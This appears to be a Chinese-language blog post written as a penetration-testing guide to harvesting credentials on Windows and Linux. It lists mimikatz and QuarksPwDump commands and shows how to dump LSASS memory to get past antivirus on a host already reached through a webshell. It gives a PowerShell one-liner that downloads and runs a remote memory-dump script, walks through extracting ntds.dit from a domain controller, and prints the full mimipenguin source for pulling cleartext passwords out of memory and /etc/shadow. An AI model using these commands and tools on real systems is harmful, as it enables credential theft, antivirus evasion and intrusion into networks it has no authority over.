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  • 关于系统密码抓取

    Windows系统:

    0x01 windows密码Hash

         早期SMB协议在网络上传输明文口令。后来出现"LAN Manager Challenge/Response"验证机制,简称LM,它是如此简单以至很容易被破解。微软提出了WindowsNT挑战/响应验证机制,称之为NTLM。现在已经有了更新的NTLMv2以及Kerberos验证体系。Windows加密过的密码口令,我们称之为hash(中文:哈希),Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash。

         NTLM-Hash与LM-Hash算法相比,明文口令大小写敏感,但无法根据NTLM-Hash判断原始明文口令是否小于8字节,摆脱了魔术字符串"KGS!@#$%"。MD4是真正的单向哈希函数,穷举做为数据源出现的明文,难度较大。问题在于,微软一味强调NTLM-Hash的强度高,却避而不谈一个事实,为了保持向后兼容性,NTLM-Hash缺省总是与LM-Hash一起使用的。这意味着NTLM-Hash强调再高也是无助于安全的,相反潜在损害着安全性。增加NTLM-Hash后,首先利用LM-Hash的弱点穷举出原始明文口令的大小写不敏感版本,再利用NTLM-Hash修正出原始明文口令的大小写敏感版本。

    Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如:Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示

    用户名称为:Administrator

    RID为:500

    LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE

    NT-HASH值为:683020925C5D8569C23AA724774CE6CC

    如果你知道这个用户的hash密码了,拿着C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC去hash在线查询网站。

    0x02 QuarksPwDump

         一般用QuarksPwDump_v0.2b来抓取整个windows系列的密码hash,将得到的hash值在http://www.objectif-securite.ch/ophcrack.php查询。

         QuarksPwDump抓取密码的命令如下:(其他命令可以参考软件说明)

    quarkspwdump.exe -dhl

    得到的整个HASH值拿去在线破解。

    0x03 mimikatz

    1、常用命令介绍

    system::user        //查看当前登录的用户
    process::list       //列出进程
    process::stop processname //结束进程(有些进程结束不了,即使权限够大)
    process::suspend  processname //暂停进程
    process::modules      //列出系统核心模块和其所在的物理路径
    service::list    //列出系统服务
    service::stop(start) service_name   //停止(开启)服务
    privilege::list   //列出系统权限列表
    privilege::debug   /提升权限 (执行这条命令得有足够的权限)
    nogpo::cmd  //打开cmd
    nogpo::regedit //打开注册表
    ts::sessions //显示当前回话
    ts::processes  //显示当前进程及其PID
    sekurlsa::logonpasswords   //获取当前在线用户的明文密码(需要高权限运行)
    lsadump::lsa /patch   //获取当前此计算机存在过用户的NTLMHASH
    inject::process lsass.exe '路径' sekurlsa.dll //进程注入(如果用1.0版本获取hash的时候发现sekurlsa模块存在,就可以用进程注入一个dll文件,然后在获取hash)

    2、利用过程

    密码抓取神器mimikatz来测试一下,命令如下:

    privilege::debug
    sekurlsa::logonpasswords

    图示结果如下:

     

    有没有发现,mimikatz和QuarksPwDump抓取的LM-HASH是不同的,而且mimikatz直接就把系统密码给取到了。NT-HASH两款软件得到的结果是一样的。

         在渗透测试过程中会出现这样得场景,我已经chopper连上对方主机,但是系统默认安装了360安全卫士或其他得安全软件。我上传的mimikatz和QuarksPwDump都被查杀了。也就是说我想利用这两款软件常规思路获取系统的密码HASH已经是不太可能了。其实,我们可以先dump对方主机的LSASS内存文件,然后在自己主机用mimikatz进行处理,这样就可以得到对方主机的系统HASH和密码。

         可以到微软的官方网站下载 ProDump,这个肯定不会引起杀毒软件的报毒和查杀了。

    命令如下:

    Procdump.exe -accepteula -ma lsass.exe lsass.dmp

    图示如下:

     

    接下来,再演示一下本地用mimikatz进行破解:

    首先输入命令:

    mimikatz.exe "sekurlsa::minidump lsass.dmp"

    接着输入命令:

    sekurlsa::logonpasswords

    可以看到,能够得到离线得到系统密码,这样就可以在对方主机上绕过杀毒软件的查杀了。

    有时候不能还原出明文密码,但是可以得到NTHash,推荐一个破解网站用于尝试破解这个Hash。

    https://www.objectif-securite.ch/ophcrack.php

    在乌云知识库中也有看到利用PowerShell完成Prodump一样工作的命令。具体命令如下:

    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"

    我在被渗透主机上进行尝试过,发现也是可行的,不过chopper的虚拟终端下会显示错误,实际上已经成功执行Powershell代码。不过总体感觉还是Prodump用起来更加方便。

         Metasploit中也有集成mimkatz的。具体教程可以参考 http://www.offensive-security.com/metasploit-unleashed/Mimikatz

    0x04 NTDSDump相关

    受不了NTDSXTract的龟速,于是用quarkspwdump改了个能读取system.hiv的离线版提取工具。

    ntds.dit其实就是个esent数据库,微软本身就有一系列的文档化api能够操作这个数据库。

    其命令行如下:

    ntdsdump.exe <-f ntds.dit> <-k HEX-SYS-KEY | -s system.hiv> [-o out.txt] [-h] [-t JOHN|LC]

    -f    ntds.dit路径

    -k   可选的十六进制格式的SYSKEY

    -s    可选的system.hiv路径

    -h   导出历史密码记录

    -t    导出格式,LC或JOHN

    -o   导出到指定文件中

    SYSKEY实际上就是HKLMSYSTEMCurrentControlSetControlLsa下面几个子项的类型信息,可以用RegQueryInfoKey查询出来。

    附件里面提供了两个导出工具,getsyskey_c.exe由vc6编译,其源码为getsyskey.cpp,用vc6直接打开编译即可。

    getsyskey_cs.exe由.net2.0编译,源码为getsyskey.cs,用csc直接编译即可。

    已知错误:

    JetAttachDatabase() failed

    原因:数据库需要修复,执行esentutl /p /o ntds.dit进行修复。

    下载地址:

    ntdsdump

    另:改完之后又看了看quarkspwdump的github,发现有人提交了个pull request:https://github.com/quarkslab/quarkspwdump/pull/3

    其添加了一个加载system.hiv的功能,调用了RegLoadKey。而这个API必须要过UAC才行,所以用起来还是挺别扭的,不如这个直接读取文件进行处理来得痛快。

    安全脉搏姿势

    在2008+域控上使用 ntdsutil snapshot mount导出ntds.dit, SAM以及System ,

    ntdsutil
    snapshot
    activate instance ntds
    create
    mount {GUID}
    copy c:MOUNT_POINTWINDOWSNTDSNTDS.dit c:NTDS_saved.dit
    unmount {GUID}
    quit
    quit
    然后就是各种copy了

    在域控上使用 QuarksPwDump.exe 导出绝大部分明文:

    QuarksPwDump.exe --dump-hash-domain --output SecPulseHash.txt --ntds-file c:
    tds.dit

    下载回本地再用QuarksPwDump似乎就不行,主要因为本地无法指定SYSTEM文件导致获取不到key

    附Quarks PWDump使用参数:

    quarks-pwdump.exe <options>

           Options :

           -dhl  --dump-hash-local

           -dhdc --dump-hash-domain-cached

           -dhd  --dump-hash-domain (NTDS_FILE must be specified)

           -db   --dump-bitlocker (NTDS_FILE must be specified)

           -nt   --ntds-file FILE

           -hist --with-history (optional)

           -t    --output-type JOHN/LC (optional, if no=>JOHN)

           -o    --output FILE (optional, if no=>stdout)

           Example: quarks-pwdump.exe --dump-hash-domain --with-history

    当然也可以把ntds.dit, SAM以及System下载回来(很多大内网 ntds就好几G,下载回来不太科学)用某工具解密 不过感觉有点庞大,现在我们可以使用NTDSDump.exe

    NTDSDump.exe -f ntds.dit -s SYSTEM -o SecPulseHash.txt

    0x05 ShadowCopy+QuarksPwDump0.3a

    1. 使用ShadowCopy的命令行版,编写bat实现拷贝ntds.dit至当前目录.

    ShadowCopy.vbs

    setlocal
    if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
    set SOURCE_DRIVE_LETTER=%SystemDrive%
    set SOURCE_RELATIVE_PATH=windows
    tds
    tds.dit
    set DESTINATION_PATH=%~dp0
    @echo ...Determine the scripts to be executed/generated...
    set CALLBACK_SCRIPT=%~dpnx0
    set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
    @echo ...Creating the shadow copy...
    "%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
    del /f %TEMP_GENERATED_SCRIPT%
    @goto :EOF
    :IS_CALLBACK
    setlocal
    @echo ...Obtaining the shadow copy device name...
    call %TEMP_GENERATED_SCRIPT%
    @echo ...Copying from the shadow copy to the destination path...
    copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

    参考链接: http://blogs.msdn.com/b/adioltean/archive/2005/01/05/346793.aspx

    2.修复复制出来的数据库

    esentutl /p /o ntds.dit

    3.使用QuarksPwDump直接读取信息并将结果导出至文件

    QuarksPwDump.exe -dhb -hist -nt ntds.dit -o log.txt

    Tips:

    QuarksPwDump.exe:Dump various types of Windows credentials without injecting in any process. 
    源码下载链接,vs2010直接编译即可 
    https://github.com/quarkslab/quarkspwdump

    坑A:

    COM call “m_pVssObject->InitializeForBackup()” failed. 
    域控是64位的,你运行的是32位的vshadow.exe。 
    解决方法:安装win7 SDK,使用64位的vshadow.exe(可使用在win2008、win2012)(默认位置) “C:Program FilesMicrosoft SDKsWindowsv6.1Binx64vsstoolsvshadow.exe”

    坑B:

    源码下载链接,vs2010直接编译即可 
    https://github.com/quarkslab/quarkspwdump 
    主页上显示的是master,其实还是0.2版本的。 
    真实的release地址是(不用编译)QuarksPwDump-0.3a 
    作者编译的版本在执行的时候会显示0.2b,此处应该是作者没处理好,不过不影响咱们使用,只要观察是否有-sf参数,即可判断是否是新版。

    linux系统

    Linux下密码抓取神器mimipenguin

    项目地址

    https://github.com/huntergregal/mimipenguin

    需求:

    ROOT权限

    程序源码:

    #include <stdio.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <dirent.h>
    #include <string.h>
    #include <stdlib.h>
    
    #include "targets.h"
    #include "gnomeKeyring.h"
    #include "util.h"
    
    int processTarget(char *target)
    {
        DIR *dir = NULL;
        struct dirent* de = 0;
        int pid = -1, ret = -1;
        int result = 0;
        FILE *fp = NULL;
        char cmdlineFile[MAX_PATH] = {0};
        char *taskName = NULL;
        size_t taskSize = 0;
    
        dir = opendir(PROC);
        if ( dir == NULL )
        {
            printf("[!] ERROR: Failed to open /proc
    ");
            return -1;
        }
    
        while ((de = readdir(dir)) != 0 )
        {
            if ( !strcmp(de->d_name, ".") || !strcmp(de->d_name, ".."))
                continue;
    
            result = 0;
            result = sscanf(de->d_name, "%d", &pid);
    
            if ( result != 1)
                continue;
            memset(cmdlineFile, 0, MAX_PATH);
            snprintf(cmdlineFile, MAX_PATH-1, "%s/%d/cmdline", PROC, pid);
    
            if ( (fp = fopen(cmdlineFile, "r")) == NULL )
                continue; // likley lost the race for a process that just closed
    
            taskSize = 0;
            if ( getline(&taskName, &taskSize, fp) > 0 )
            {
                if ( strstr(taskName, GNOME_KEYRING_DAEMON) ) // gnome-keyring-daemon process
                {
                    if ( gnomeKeyringDump(pid) < 0 )
                    {
                        printf("  [!] ERROR: dumping passwords from keyring
    ");
                        //goto CLEANUP;
                    }
                }
            }
            if (taskName != NULL)
            {
                free(taskName);
                taskName = NULL;
            }
    
            if ( fp != NULL )
            {
                fclose(fp);
                fp = NULL;
            }
        }
    
        ret = 0;
        CLEANUP:
             if (taskName != NULL)
            {
                free(taskName);
                taskName = NULL;
            }
    
            if ( fp != NULL )
            {
                fclose(fp);
                fp = NULL;
            }
            closedir(dir);
            return ret;
    }
    
    int main()
    {
        size_t numTargets = sizeof(g_targets)/sizeof(char*);
    
        if ( getuid() != 0 )
        {
            printf("[!] Must be root!
    ");
            return -1;
        }
    
        for (int i=0; i <numTargets; i++)
        {
            processTarget(g_targets[i]);
        }
        return 0;
    }
    mimipenguin.c
    #!/bin/bash
    
    # Author: Hunter Gregal
    # Github: /huntergregal Twitter: /huntergregal Site: huntergregal.com
    # Dumps cleartext credentials from memory
    
    #root check
    if [[ "$EUID" -ne 0 ]]; then
        echo "Root required - You are dumping memory..."
        echo "Even mimikatz requires administrator"
        exit 1
    fi
    
    #Store results to cleanup later
    export RESULTS=""
    
    dump_pid ()
    {
        system=$3
        pid=$1
        output_file=$2
        if [[ $system == "kali" ]]; then
            mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/$pid/maps | egrep 'heap|stack' | cut -d' ' -f 1)
        else
            mem_maps=$(grep -E "^[0-9a-f-]* r" /proc/$pid/maps | cut -d' ' -f 1)
        fi
        while read -r memrange; do
            echo $memrange
            memrange_start=`echo $memrange | cut -d"-" -f 1`;
            memrange_start=`printf "%u
    " 0x$memrange_start`;
            memrange_stop=`echo $memrange | cut -d"-" -f 2`;
            memrange_stop=`printf "%u
    " 0x$memrange_stop`;
            memrange_size=$(($memrange_stop - $memrange_start));
            dd if=/proc/$pid/mem of=${output_file}.${pid} ibs=1 oflag=append conv=notrunc 
                skip=$memrange_start count=$memrange_size > /dev/null 2>&1
        done <<< "$mem_maps"
    }
    
    parse_pass ()
    {
    #$1 = DUMP, $2 = HASH, $3 = SALT, $4 = SOURCE
    
    #If hash not in dump get shadow hashes
    if [[ ! "$2" ]]; then
            SHADOWHASHES="$(cut -d':' -f 2 /etc/shadow | egrep '^$.$')"
    fi
    
    #Determine password potential for each word
    while read -r line; do
        #If hash in dump, prepare crypt line
        if [[ "$2" ]]; then
            #get ctype
            CTYPE="$(echo "$2" | cut -c-3)"
            #Escape quotes, backslashes, single quotes to pass into crypt
            SAFE=$(echo "$line" | sed 's/\/\\/g; s/"/\"/g; s/'"'"'/\'"'"'/g;')
            CRYPT=""$SAFE", "$CTYPE$3""
            if [[ $(python -c "import crypt; print crypt.crypt($CRYPT)") == "$2" ]]; then
                #Find which user's password it is (useful if used more than once!)
                USER="$(grep "${2}" /etc/shadow | cut -d':' -f 1)"
                export RESULTS="$RESULTS$4            $USER:$line 
    "
            fi
        #Else use shadow hashes
        elif [[ $SHADOWHASHES ]]; then
            while read -r thishash; do
                CTYPE="$(echo "$thishash" | cut -c-3)"
                SHADOWSALT="$(echo "$thishash" | cut -d'$' -f 3)"
                #Escape quotes, backslashes, single quotes to pass into crypt
                SAFE=$(echo "$line" | sed 's/\/\\/g; s/"/\"/g; s/'"'"'/\'"'"'/g;')
                CRYPT=""$SAFE", "$CTYPE$SHADOWSALT""
                if [[ $(python -c "import crypt; print crypt.crypt($CRYPT)") == "$thishash" ]]; then
                    #Find which user's password it is (useful if used more than once!)
                    USER="$(grep "${thishash}" /etc/shadow | cut -d':' -f 1)"
                    export RESULTS="$RESULTS$4            $USER:$line
    "
                fi
            done <<< "$SHADOWHASHES"
        #if no hash data - revert to checking probability
        else
            if [[ $line =~ ^_pammodutil.+[0-9]$ ]]; then
                export RESULTS="$RESULTS[LOW]$4            $line
    "
            elif [[ $line =~ ^LOGNAME= ]]; then
                export RESULTS="$RESULTS[LOW]$4            $line
    "
            elif [[ $line =~ UTF-8 ]]; then
                export RESULTS="$RESULTS[LOW]$4            $line
    "
            elif [[ $line =~ ^splayManager[0-9]$ ]]; then
                export RESULTS="$RESULTS[LOW]$4            $line
    "
            elif [[ $line =~ ^gkr_system_authtok$ ]]; then
                export RESULTS="$RESULTS[LOW]$4            $line
    "
            elif [[ $line =~ [0-9]{1,4}:[0-9]{1,4}: ]]; then
                export RESULTS="$RESULTS[LOW]$4            $line
    "
            elif [[ $line =~ Manager.Worker ]]; then
                export RESULTS="$RESULTS[LOW]$4            $line
    "
            elif [[ $line =~ /usr/share ]]; then
                export RESULTS="$RESULTS[LOW]$4            $line
    "
            elif [[ $line =~ /bin ]]; then
                export RESULTS="$RESULTS[LOW]$4            $line
    "
            elif [[ $line =~ .so.[0-1]$ ]]; then
                export RESULTS="$RESULTS[LOW]$4            $line
    "
            elif [[ $line =~ x86_64 ]]; then
                export RESULTS="$RESULTS[LOW]$4            $line
    "
            elif [[ $line =~ (aoao) ]]; then
                export RESULTS="$RESULTS[LOW]$4            $line
    "
            elif [[ $line =~ stuv ]]; then
                export RESULTS="$RESULTS[LOW]$4            $line
    "
            else
                export RESULTS="$RESULTS[HIGH]$4            $line
    "
            fi
        fi
    done <<< "$1"
    }
    
    #Support Kali
    if [[ $(uname -a | awk '{print tolower($0)}') == *"kali"* ]]; then
        SOURCE="[SYSTEM - GNOME]"
        #get gdm-session-worker [pam/gdm-password] process
        PID="$(ps -eo pid,command | sed -rn '/gdm-password]/p' | awk 'BEGIN {FS = " " } ; { print $1 }')"
        #if exists aka someone logged into gnome then extract...
        if [[ $PID ]];then
            while read -r pid; do
                dump_pid "$pid" /tmp/dump "kali"
                HASH="$(strings "/tmp/dump.${pid}" | egrep -m 1 '^$.$.+$')"
                SALT="$(echo "$HASH" | cut -d'$' -f 3)"
                DUMP="$(strings "/tmp/dump.${pid}" | egrep '^_pammodutil_getpwnam_root_1$' -B 5 -A 5)"
                DUMP="${DUMP}$(strings "/tmp/dump.${pid}" | egrep '^gkr_system_authtok$' -B 5 -A 5)"
                #Remove dupes to speed up processing
                DUMP=$(echo "$DUMP" | tr " " "
    " |sort -u)
                parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 
        
                #cleanup
                rm -rf "/tmp/dump.${pid}"
            done <<< "$PID"
        fi
    fi
    
    #Support Ubuntu
    if [[ $(uname -a | awk '{print tolower($0)}') == *"ubuntu"* ]]; then
            SOURCE="[SYSTEM - GNOME]"
            #get /usr/bin/gnome-keyring-daemon process
            PID="$(ps -eo pid,command | sed -rn '/gnome-keyring-daemon/p' | awk 'BEGIN {FS = " " } ; { print $1 }')"
        #if exists aka someone logged into gnome then extract...
        if [[ $PID ]];then
            while read -r pid; do
                dump_pid "$pid" /tmp/dump
                HASH="$(strings "/tmp/dump.${pid}" | egrep -m 1 '^$.$.+$')"
                SALT="$(echo "$HASH" | cut -d'$' -f 3)"
                DUMP=$(strings "/tmp/dump.${pid}" | egrep '^.+libgck-1.so.0$' -B 10 -A 10)
                DUMP+=$(strings "/tmp/dump.${pid}" | egrep -A 5 -B 5 'libgcrypt.so..+$')
                #Remove dupes to speed up processing
                DUMP=$(echo "$DUMP" | tr " " "
    " |sort -u)
                parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE" 
                #cleanup
                rm -rf "/tmp/dump.${pid}"
            done <<< "$PID"
        fi
    fi
    
    #Support VSFTPd - Active Users
    if [[ -e "/etc/vsftpd.conf" ]]; then
            SOURCE="[SYSTEM - VSFTPD]"
            #get nobody /usr/sbin/vsftpd /etc/vsftpd.conf
            PID="$(ps -eo pid,user,command | grep vsftpd | grep nobody | awk 'BEGIN {FS = " " } ; { print $1 }')"
        #if exists aka someone logged into FTP then extract...
        if [[ $PID ]];then
            while read -r pid; do
                dump_pid "$pid" /tmp/vsftpd
                HASH="$(strings "/tmp/vsftpd.${pid}" | egrep -m 1 '^$.$.+$')"
                SALT="$(echo "$HASH" | cut -d'$' -f 3)"
                DUMP=$(strings "/tmp/vsftpd.${pid}" | egrep -B 5 -A 5 '^::.+:[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$')
                #Remove dupes to speed up processing
                DUMP=$(echo "$DUMP" | tr " " "
    " |sort -u)
                parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
            done <<< "$PID"
    
            #cleanup
            rm -rf /tmp/vsftpd*
        fi
    fi
    
    #Support Apache2 - HTTP BASIC AUTH
    if [[ -e "/etc/apache2/apache2.conf" ]]; then
            SOURCE="[HTTP BASIC - APACHE2]"
            #get all apache workers /usr/sbin/apache2 -k start
            PID="$(ps -eo pid,user,command | grep apache2 | grep -v 'grep' | awk 'BEGIN {FS = " " } ; { print $1 }')"
        #if exists aka apache2 running
        if [[ "$PID" ]];then
            #Dump all workers
            while read -r pid; do
                gcore -o /tmp/apache $pid > /dev/null 2>&1
                #without gcore - VERY SLOW!
                #dump_pid $pid /tmp/apache
            done <<< "$PID"
            #Get encoded creds
            DUMP="$(strings /tmp/apache* | egrep '^Authorization: Basic.+=$' | cut -d' ' -f 3)"
            #for each extracted b64 - decode the cleartext
            while read -r encoded; do
                CREDS="$(echo "$encoded" | base64 -d)"
                if [[ "$CREDS" ]]; then
                    export RESULTS="$RESULTS$SOURCE            $CREDS
    "
                fi
            done <<< "$DUMP"
            #cleanup
            rm -rf /tmp/apache*
        fi
    fi
    
    #Support sshd - Search active connections for Sudo passwords
    if [[ -e "/etc/ssh/sshd_config" ]]; then
        SOURCE="[SYSTEM - SSH]"
        #get all ssh tty/pts sessions - sshd: user@pts01
        PID="$(ps -eo pid,command | egrep 'sshd:.+@' | grep -v 'grep' | awk 'BEGIN {FS = " " } ; { print $1 }')"
        #if exists aka someone logged into SSH then dump
        if [[ "$PID" ]];then
            while read -r pid; do
                dump_pid "$pid" /tmp/sshd
                HASH="$(strings "/tmp/sshd.${pid}" | egrep -m 1 '^$.$.+$')"
                SALT="$(echo "$HASH" | cut -d'$' -f 3)"
                DUMP=$(strings "/tmp/sshd.${pid}" | egrep -A 3 '^sudo.+')
                #Remove dupes to speed up processing
                DUMP=$(echo "$DUMP" | tr " " "
    " |sort -u)
                parse_pass "$DUMP" "$HASH" "$SALT" "$SOURCE"
            done <<< "$PID"
            #cleanup
            rm -rf /tmp/sshd.*
        fi
    fi
    #Output results to STDOUT
    printf "MimiPenguin Results:
    "
    printf "%b" "$RESULTS" | sort -u
    unset RESULTS
    mimipenguin.sh

    使用实例:

     

    0x06 参考链接

    https://www.secpulse.com/archives/6301.html

    https://www.cnblogs.com/hiccup/p/4380298.html

    https://blog.csdn.net/cao2110/article/details/51830975

    http://www.freebuf.com/sectool/131165.html

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  • 原文地址:https://www.cnblogs.com/zhaijiahui/p/8994482.html
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